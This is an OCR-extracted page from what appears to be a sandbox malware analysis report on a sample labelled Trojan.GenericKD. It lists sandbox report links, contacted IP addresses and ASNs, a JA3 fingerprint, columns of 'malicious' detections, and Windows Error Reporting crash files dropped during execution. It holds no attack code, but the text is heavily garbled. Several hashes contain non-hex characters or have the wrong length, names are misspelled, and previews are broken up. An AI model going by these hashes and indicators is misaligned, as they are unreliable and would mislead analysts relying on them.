https://view.joesandbox.com/analysis/267239/html/none?idtype=webid
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid
https://view.joesandbox.com/analysis/260868/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260868/html/none?idtype=webid
https://view.joesandbox.com/analysis/255928/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255928/html/none?idtype=webid
https://view.joesandbox.com/analysis/251706/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251706/html/none?idtype=webid
https://view.joesandbox.com/analysis/182965/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/182965/html/none?idtype=webid
https://view.joesandbox.com/analysis/180249/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/180249/html/none?idtype=webid
https://view.joesandbox.com/analysis/174927/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/174927/html/none?idtype=webid
https://view.joesandbox.com/analysis/174707/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/174707/html/none?idtype=webid
https://view.joesandbox.com/analysis/171755/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/171755/html/none?idtype=webid
https://view.joesandbox.com/analysis/171746/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/171746/html/none?idtype=webid
https://view.joesandbox.com/analysis/164199/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/164199/html/none?idtype=webid
https://view.joesandbox.com/analysis/164188/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/164188/html/none?idtype=webid
https://view.joesandbox.com/analysis/162099/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/162099/html/none?idtype=webid
https://view.joesandbox.com/analysis/162091/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/162091/html/none?idtype=webid
https://view.joesandbox.com/analysis/162079/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/162079/html/none?idtype=webid
https://view.joesandbox.com/analysis/162077/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/162077/html/none?idtype=webid
https://view.joesandbox.com/analysis/153384/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/153384/html/none?idtype=webid
https://view.joesandbox.com/analysis/125691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/125691/html/none?idtype=webid
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid
https://view.joesandbox.com/analysis/265062/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265062/html/none?idtype=webid
https://view.joesandbox.com/analysis/263136/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263136/html/none?idtype=webid
https://view.joesandbox.com/analysis/263132/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263132/html/none?idtype=webid
https://view.joesandbox.com/analysis/267239/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267239/html/none?idtype=webid
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid

Match

ASN

Match
CLOUDFLARENETUS

CLOUDFLARENETUS

HETZNER-ASDE

Copyright null 2021

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
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Get hash

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Context

88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31

Context

104.21.71.230
104.21.50.15
104.21.71.230
172.67.199.58
104.21.50.15
104.21.50.15
172.67.188.154
104.21.71.230
172.67.172.17
172.67.172.17
104.23.98.190
172.67.172.17
104.23.99.190
104.21.76.239
172.67.172.17
172.67.172.17
172.67.188.154
172.67.172.17
172.67.188.154
172.67.172.17
104.21.71.230
104.21.50.15
104.21.71.230
172.67.199.58
104.21.50.15
104.21.50.15
172.67.188.154
104.21.71.230
172.67.172.17
172.67.172.17
104.23.98.190
172.67.172.17
104.23.99.190
104.21.76.239
172.67.172.17
172.67.172.17
172.67.188.154
172.67.172.17
172.67.188.154
172.67.172.17

195.201.22
5.248

88.99.66.31
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https://view.joesandbox.com/analysis/266874/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266874/html/none?idtype=webid
https://view.joesandbox.com/analysis/266873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266873/html/none?idtype=webid
https://view.joesandbox.com/analysis/266868/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266868/html/none?idtype=webid
https://view.joesandbox.com/analysis/266706/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266706/html/none?idtype=webid
https://view.joesandbox.com/analysis/266688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266688/html/none?idtype=webid
https://view.joesandbox.com/analysis/266623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266623/html/none?idtype=webid
https://view.joesandbox.com/analysis/266618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266618/html/none?idtype=webid
https://view.joesandbox.com/analysis/266579/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266579/html/none?idtype=webid
https://view.joesandbox.com/analysis/266578/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266578/html/none?idtype=webid
https://view.joesandbox.com/analysis/266577/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266577/html/none?idtype=webid
https://view.joesandbox.com/analysis/266541/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266541/html/none?idtype=webid
https://view.joesandbox.com/analysis/266536/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266536/html/none?idtype=webid
https://view.joesandbox.com/analysis/266533/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266533/html/none?idtype=webid
https://view.joesandbox.com/analysis/266528/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266528/html/none?idtype=webid
https://view.joesandbox.com/analysis/266525/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266525/html/none?idtype=webid
https://view.joesandbox.com/analysis/266524/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266524/html/none?idtype=webid
https://view.joesandbox.com/analysis/266523/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266523/html/none?idtype=webid
https://view.joesandbox.com/analysis/267241/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267241/html/none?idtype=webid
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid
https://view.joesandbox.com/analysis/267238/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267238/html/none?idtype=webid
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid
https://view.joesandbox.com/analysis/267225/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267225/html/none?idtype=webid
https://view.joesandbox.com/analysis/267222/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267222/html/none?idtype=webid
https://view.joesandbox.com/analysis/267219/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267219/html/none?idtype=webid
https://view.joesandbox.com/analysis/267218/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267218/html/none?idtype=webid
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid
https://view.joesandbox.com/analysis/267210/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267210/html/none?idtype=webid
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid
https://view.joesandbox.com/analysis/267208/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267208/html/none?idtype=webid
https://view.joesandbox.com/analysis/267205/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267205/html/none?idtype=webid
https://view.joesandbox.com/analysis/267199/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267199/html/none?idtype=webid
https://view.joesandbox.com/analysis/267191/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267191/html/none?idtype=webid
https://view.joesandbox.com/analysis/267173/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267173/html/none?idtype=webid
https://view.joesandbox.com/analysis/267169/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267169/html/none?idtype=webid
https://view.joesandbox.com/analysis/267167/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267167/html/none?idtype=webid
https://view.joesandbox.com/analysis/267241/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267241/html/none?idtype=webid
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid
https://view.joesandbox.com/analysis/267238/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267238/html/none?idtype=webid
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid
https://view.joesandbox.com/analysis/267225/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267225/html/none?idtype=webid
https://view.joesandbox.com/analysis/267222/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267222/html/none?idtype=webid
https://view.joesandbox.com/analysis/267219/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267219/html/none?idtype=webid
https://view.joesandbox.com/analysis/267218/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267218/html/none?idtype=webid
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid
https://view.joesandbox.com/analysis/267210/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267210/html/none?idtype=webid
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid
https://view.joesandbox.com/analysis/267208/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267208/html/none?idtype=webid
https://view.joesandbox.com/analysis/267205/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267205/html/none?idtype=webid
https://view.joesandbox.com/analysis/267199/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267199/html/none?idtype=webid
https://view.joesandbox.com/analysis/267191/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267191/html/none?idtype=webid
https://view.joesandbox.com/analysis/267173/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267173/html/none?idtype=webid
https://view.joesandbox.com/analysis/267169/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267169/html/none?idtype=webid
https://view.joesandbox.com/analysis/267167/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267167/html/none?idtype=webid
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid
https://view.joesandbox.com/analysis/267239/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267239/html/none?idtype=webid

Match

JA3 Fingerprints

Match
ce5f3254611a8c095a3d821d44539877

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash
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Detection
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

95.216.186.40
95.216.186.40

195.201.22
5.248

94.130.165.85
188.40.67.173
88.99.66.31
135.181.57.206
5.9.110.84
195.201.179.80
95.216.245.130
88.99.66.31
88.99.66.31
88.99.66.31
168.119.190.38
88.99.66.31
88.99.66.31
188.40.168.204
88.99.66.31

Context

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

95.216.186.40

e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

95.216.186.40

e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

95.216.186.40

e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

95.216.186.40

e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

95.216.186.40

e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58
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https://view.joesandbox.com/analysis/267237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267216/html/none?idtype=webid
https://view.joesandbox.com/analysis/267215/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267215/html/none?idtype=webid
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267209/html/none?idtype=webid
https://view.joesandbox.com/analysis/267160/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267160/html/none?idtype=webid
https://view.joesandbox.com/analysis/267063/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267063/html/none?idtype=webid
https://view.joesandbox.com/analysis/266998/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266998/html/none?idtype=webid
https://view.joesandbox.com/analysis/266938/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266938/html/none?idtype=webid
https://view.joesandbox.com/analysis/266874/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266874/html/none?idtype=webid
https://view.joesandbox.com/analysis/266873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266873/html/none?idtype=webid
https://view.joesandbox.com/analysis/266868/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266868/html/none?idtype=webid
https://view.joesandbox.com/analysis/266708/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266708/html/none?idtype=webid
https://view.joesandbox.com/analysis/266706/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266706/html/none?idtype=webid
https://view.joesandbox.com/analysis/266688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266688/html/none?idtype=webid
https://view.joesandbox.com/analysis/266650/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266650/html/none?idtype=webid
https://view.joesandbox.com/analysis/266623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266623/html/none?idtype=webid
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid
https://view.joesandbox.com/analysis/267178/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267178/html/none?idtype=webid
https://view.joesandbox.com/analysis/267008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267008/html/none?idtype=webid
https://view.joesandbox.com/analysis/266874/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266874/html/none?idtype=webid
https://view.joesandbox.com/analysis/266873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266873/html/none?idtype=webid
https://view.joesandbox.com/analysis/266868/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266868/html/none?idtype=webid
https://view.joesandbox.com/analysis/266706/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266706/html/none?idtype=webid
https://view.joesandbox.com/analysis/266691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266691/html/none?idtype=webid
https://view.joesandbox.com/analysis/266688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266688/html/none?idtype=webid
https://view.joesandbox.com/analysis/266654/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266654/html/none?idtype=webid
https://view.joesandbox.com/analysis/266623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266623/html/none?idtype=webid
https://view.joesandbox.com/analysis/266618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266618/html/none?idtype=webid
https://view.joesandbox.com/analysis/266602/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266602/html/none?idtype=webid
https://view.joesandbox.com/analysis/266597/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266597/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Dropped Files

Match Associated Sample Name /| URL SHA 256

C:\Users\user\AppData\LocalLow\eE8sF Get hash

0yG2eQ6fT7\AccessibleHandler.dll Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Created / dropped Files

Detection

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

e 95.216.186.40
e 104.21.50.15
e 172.67.199.58

Context

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuritelInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_0382c

331\Report.wer

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 12046

Entropy (8bit):  3.7692691280743746

Encrypted: false

SSDEEP: 96:VUIK5+gQazwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHG/8BRTf30yloVazWhSmf6X:WigQt1H56rgjuSKUZ/u7sCS2741tAH

MD5: 235A21E7ECF028BF6DCCA47096E342D57

SHA1L: 2C1EACAA1455EDDOGAFA7CB7CFC5E3133362F4BE

SHA-256: 2E846D38DOF5AA89EAF30B80A136CBESDEBBS55E2DB00D1241B1EB3AEGSBAA3ES

SHA-512: 9954FF02BBE747A3F4E15D11DBD3BB77134A1AB0OB5BB91A0D1B5EC86313BCCDEBBE9GFCC19A7F47D2BEE6G6706D081DAC3F87C657151C6EAC81816891B49939,
CB

Malicious: false

Reputation: low

Preview:

.V.ersio.n=1...EventTyp.e=APP.CRASH..EventTim.e=1325857.6.94857.8.6.4.20...Re.p.ortTy.p.e=2..Co.ns.ent=1..Rep.o.rtld
e.ntifier=.0.6.6.e0.24.1.-ab.d5.-4.8.7.d.-b.9.7.b.-d554.37e8.4.e8.d...L.ntegratorReportlden.tifier=0.1.0.5.d.0.e.9.-4.1.5.0.-4.a.8.9.-.8.£.9.b.-
.e.leefb.3.b.3.3fa...W.ow.6.4H.0.5.t=3.4.4.04...W.0w.6.4.G.ues.t=33.2....N.sAp.p.N.ame.=S.e.curitelnfo..com.Trojan..Gen.ericKD.Z..
7.3.1.2.4.19.1.7.0...ex.e...A.p.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1..... T.ar.g.e.t.A.p.p...d.=W.:.0.0.0.6.a.f.4.4.1.b.2.
a.e.c.3.9.6.5.a.6.c.h.d.1.b.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.1.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.£.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c..S.e.curite.lnf

o..com..T.rojan..GenericKD.Z.73124..

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_0792d

ded\Report.wer

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 12042

Copyright null 2021

Page 18 of 245


https://view.joesandbox.com/analysis/266595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266595/html/none?idtype=webid
https://view.joesandbox.com/analysis/266579/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266579/html/none?idtype=webid
https://view.joesandbox.com/analysis/266578/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266578/html/none?idtype=webid
https://view.joesandbox.com/analysis/266602/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266602/html/none?idtype=webid
https://view.joesandbox.com/analysis/265062/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265062/html/none?idtype=webid
https://view.joesandbox.com/analysis/264408/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264408/html/none?idtype=webid
https://view.joesandbox.com/analysis/264401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264401/html/none?idtype=webid
https://view.joesandbox.com/analysis/264399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264399/html/none?idtype=webid
https://view.joesandbox.com/analysis/264398/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264398/html/none?idtype=webid
https://view.joesandbox.com/analysis/264313/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264313/html/none?idtype=webid
https://view.joesandbox.com/analysis/264310/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264310/html/none?idtype=webid
https://view.joesandbox.com/analysis/263136/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263136/html/none?idtype=webid
https://view.joesandbox.com/analysis/263132/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263132/html/none?idtype=webid
https://view.joesandbox.com/analysis/262296/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262296/html/none?idtype=webid
https://view.joesandbox.com/analysis/261640/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261640/html/none?idtype=webid
https://view.joesandbox.com/analysis/259699/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259699/html/none?idtype=webid
https://view.joesandbox.com/analysis/259373/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259373/html/none?idtype=webid
https://view.joesandbox.com/analysis/259354/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259354/html/none?idtype=webid
https://view.joesandbox.com/analysis/259348/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259348/html/none?idtype=webid
https://view.joesandbox.com/analysis/259336/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259336/html/none?idtype=webid
https://view.joesandbox.com/analysis/259335/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259335/html/none?idtype=webid
https://view.joesandbox.com/analysis/259332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259332/html/none?idtype=webid
https://view.joesandbox.com/analysis/259326/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259326/html/none?idtype=webid

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Securitelnfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_0792d
ded\Report.wer

Entropy (8bit):  3.769335255760273

Encrypted: false

SSDEEP: 96:¢6tiN+gQJIzwdTDJI23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf30yloVazWhSmf6r:Ht+Q+1H56rgjuSKUZ/u7sCS274ItAb

MD5: 7988B8B5D7FFDCC2DC64AC64D3FD62CD

SHAL: 31767EDACBF2D980D9CFD8DF14C847362A148021

SHA-256: 08045B20AB6122FB6D09EA31AE113B7B3EA3DIF659552FC6CD6C572B0B52E984

SHA-512: A22D7D0A7205953B8152B81786E378BA3D7848AB95C3ES5D8F86F76B2C4931BCAF66284DF61F3881C2B9BEIBCIA7FCD2F077F6743D7DECI1A46EEFFF68AAFF2
9

Malicious: false

Reputation: low

Preview:

.V.ersion=1..Eve.ntTyp.e=APP.CRASH...EventTim.e=13.2585.7.6.95509.223.6.3.0...Rep.ortTy.p.e=2...C.ons.ent=1..Re.p.o.rtld.
e.ntifier=d4b.3.ef8.7.-ce3b.-4410.-8a95.-9.c9a7alfbce?2..lntegratorReportldentifier=8b.da2d8.e.-176.2.-47.6.f-9.0.4.b.-7.4.
2.7.4.d.cc.1l.c.6.0....W.0.w.6.4.H.0.5.t.=.3.4.4.0.4....W.0.w.6.4.G.u.e.s.t.=.3.3.2....N.s.A.p.p.N.am.e.=.S.e.c.ur.ite.ln.fo..com.Trojan..GenericKD.Z..
7.3.1.2.4..1.9.1.7.0...e.x.e....A.p.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t. A.p.p.l.d.=W...0.0.0.6.a.f.4.4.1.b.2.
a.e.c.3.9.6.5.a.6.c.h.d.1.h.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.1.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.£.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c...S.e.c.u.r.ite.l.nf.
0...c.o.m..T.r.oj.a.n..G.ene.ricKD.Z.73124..

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuritelInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229 bd6d4f40_15340
49b\Report.wer

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 13296

Entropy (8bit): 3.768011787528125

Encrypted: false

SSDEEP: 96:Xr9P+gQyzwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf30yloVazWbSmf6qP:b7QF1H56rgjuSKU7x/u7shS2741tAJ

MD5: C34E0054A0F520C7BFOF106BB36D27D3

SHAL: E085E35B03717F37BDB4B7ED631A2E797B14AE2F

SHA-256: E95B27EB7DF6CEC7DBD2E66DE4E989F9B56CDD76447B1F959206FF83A5BCFF5C

